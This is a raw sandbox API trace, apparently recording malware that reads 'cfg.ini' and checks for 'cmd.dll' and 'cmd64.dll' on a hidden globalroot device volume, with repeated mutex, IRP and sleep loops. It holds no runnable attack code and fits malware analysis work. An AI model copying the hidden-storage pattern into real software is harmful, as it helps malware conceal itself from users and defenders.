[0129.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.948] KeLeaveCriticalRegion () [0129.948] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.948] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.948] KeEnterCriticalRegion () [0129.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.948] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cfa000 [0129.948] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.948] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.948] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.948] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.948] IdePortDispatch () returned 0x103 [0129.948] KeWaitForMutexObject () returned 0x0 [0129.948] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.948] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.948] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.948] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.948] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.948] IdePortDispatch () returned 0x103 [0129.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.949] KeLeaveCriticalRegion () [0129.949] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.949] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.949] KeEnterCriticalRegion () [0129.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.949] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.949] KeLeaveCriticalRegion () [0129.949] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.949] KeEnterCriticalRegion () [0129.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.949] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.949] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07580, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.949] KeLeaveCriticalRegion () [0129.949] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.949] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.950] KeEnterCriticalRegion () [0129.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.950] ExFreePoolWithTag (P=0xfffffa8003c08fb0, Tag=0x0) [0129.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.950] KeLeaveCriticalRegion () [0129.950] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.950] ReleaseMutex (hMutex=0xf0) returned 1 [0129.950] Sleep (dwMilliseconds=0x124f80) [0129.964] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.964] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.964] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.964] KeEnterCriticalRegion () [0129.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.964] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.964] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.964] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.964] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.964] IdePortDispatch () returned 0x103 [0129.964] KeWaitForMutexObject () returned 0x0 [0129.964] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.964] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.964] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.964] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.965] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.965] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c074c0 [0129.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.965] KeLeaveCriticalRegion () [0129.965] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.965] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.965] KeEnterCriticalRegion () [0129.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.965] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.965] KeLeaveCriticalRegion () [0129.965] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.965] KeEnterCriticalRegion () [0129.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.965] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.965] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.965] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.965] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.965] IdePortDispatch () returned 0x103 [0129.965] KeWaitForMutexObject () returned 0x0 [0129.965] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.965] KeLeaveCriticalRegion () [0129.965] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.965] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.965] KeEnterCriticalRegion () [0129.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.965] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cff000 [0129.965] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.965] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.965] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.965] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.965] IdePortDispatch () returned 0x103 [0129.965] KeWaitForMutexObject () returned 0x0 [0129.966] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.966] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.966] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.966] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.966] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.966] IdePortDispatch () returned 0x103 [0129.966] KeWaitForMutexObject () returned 0x0 [0129.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.966] KeLeaveCriticalRegion () [0129.966] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.966] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.967] KeEnterCriticalRegion () [0129.967] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.967] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.967] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.967] KeLeaveCriticalRegion () [0129.967] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.967] KeEnterCriticalRegion () [0129.967] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.967] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.967] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfd330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.967] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.967] KeLeaveCriticalRegion () [0129.967] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.967] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.967] KeEnterCriticalRegion () [0129.967] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.967] ExFreePoolWithTag (P=0xfffffa8003c074c0, Tag=0x0) [0129.967] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.967] KeLeaveCriticalRegion () [0129.967] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.967] ReleaseMutex (hMutex=0xf0) returned 1 [0129.967] Sleep (dwMilliseconds=0x124f80) [0129.981] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.981] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.981] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.981] KeEnterCriticalRegion () [0129.981] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.981] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.981] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.981] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.981] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.981] IdePortDispatch () returned 0x103 [0129.982] KeWaitForMutexObject () returned 0x0 [0129.982] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.982] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.982] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.982] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.982] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.982] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07920 [0129.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.982] KeLeaveCriticalRegion () [0129.982] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.982] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.982] KeEnterCriticalRegion () [0129.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.982] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.982] KeLeaveCriticalRegion () [0129.982] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.982] KeEnterCriticalRegion () [0129.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.982] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.982] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.982] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.982] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.982] IdePortDispatch () returned 0x103 [0129.982] KeWaitForMutexObject () returned 0x0 [0129.982] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.982] KeLeaveCriticalRegion () [0129.982] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.983] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.983] KeEnterCriticalRegion () [0129.983] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.983] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d04000 [0129.983] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.983] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.983] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.983] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.983] IdePortDispatch () returned 0x103 [0129.983] KeWaitForMutexObject () returned 0x0 [0129.983] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.983] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.983] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.983] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.983] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.983] IdePortDispatch () returned 0x103 [0129.983] KeWaitForMutexObject () returned 0x0 [0129.983] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.983] KeLeaveCriticalRegion () [0129.983] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.984] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.984] KeEnterCriticalRegion () [0129.984] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.984] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.984] KeLeaveCriticalRegion () [0129.984] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.984] KeEnterCriticalRegion () [0129.984] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.984] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.984] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfd070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.984] KeLeaveCriticalRegion () [0129.984] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.984] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.984] KeEnterCriticalRegion () [0129.984] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.984] ExFreePoolWithTag (P=0xfffffa8003c07920, Tag=0x0) [0129.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.984] KeLeaveCriticalRegion () [0129.984] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.984] ReleaseMutex (hMutex=0xf0) returned 1 [0129.984] Sleep (dwMilliseconds=0x124f80) [0129.999] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.999] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.999] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.999] KeEnterCriticalRegion () [0129.999] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.999] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.999] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.999] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.999] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.999] IdePortDispatch () returned 0x103 [0129.999] KeWaitForMutexObject () returned 0x0 [0129.999] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.999] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.999] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.999] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.999] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.999] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08320 [0129.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.999] KeLeaveCriticalRegion () [0129.999] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.999] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.000] KeEnterCriticalRegion () [0130.000] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.000] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.000] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.000] KeLeaveCriticalRegion () [0130.000] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.000] KeEnterCriticalRegion () [0130.000] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.000] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.000] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.000] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.000] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.000] IdePortDispatch () returned 0x103 [0130.000] KeWaitForMutexObject () returned 0x0 [0130.000] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.000] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.000] KeLeaveCriticalRegion () [0130.000] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.000] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.000] KeEnterCriticalRegion () [0130.000] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.000] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d09000 [0130.000] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.000] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.000] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.000] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.000] IdePortDispatch () returned 0x103 [0130.000] KeWaitForMutexObject () returned 0x0 [0130.000] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.001] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.001] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.001] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.001] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.001] IdePortDispatch () returned 0x103 [0130.001] KeWaitForMutexObject () returned 0x0 [0130.001] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.001] KeLeaveCriticalRegion () [0130.001] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.001] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.001] KeEnterCriticalRegion () [0130.001] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.001] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.001] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) 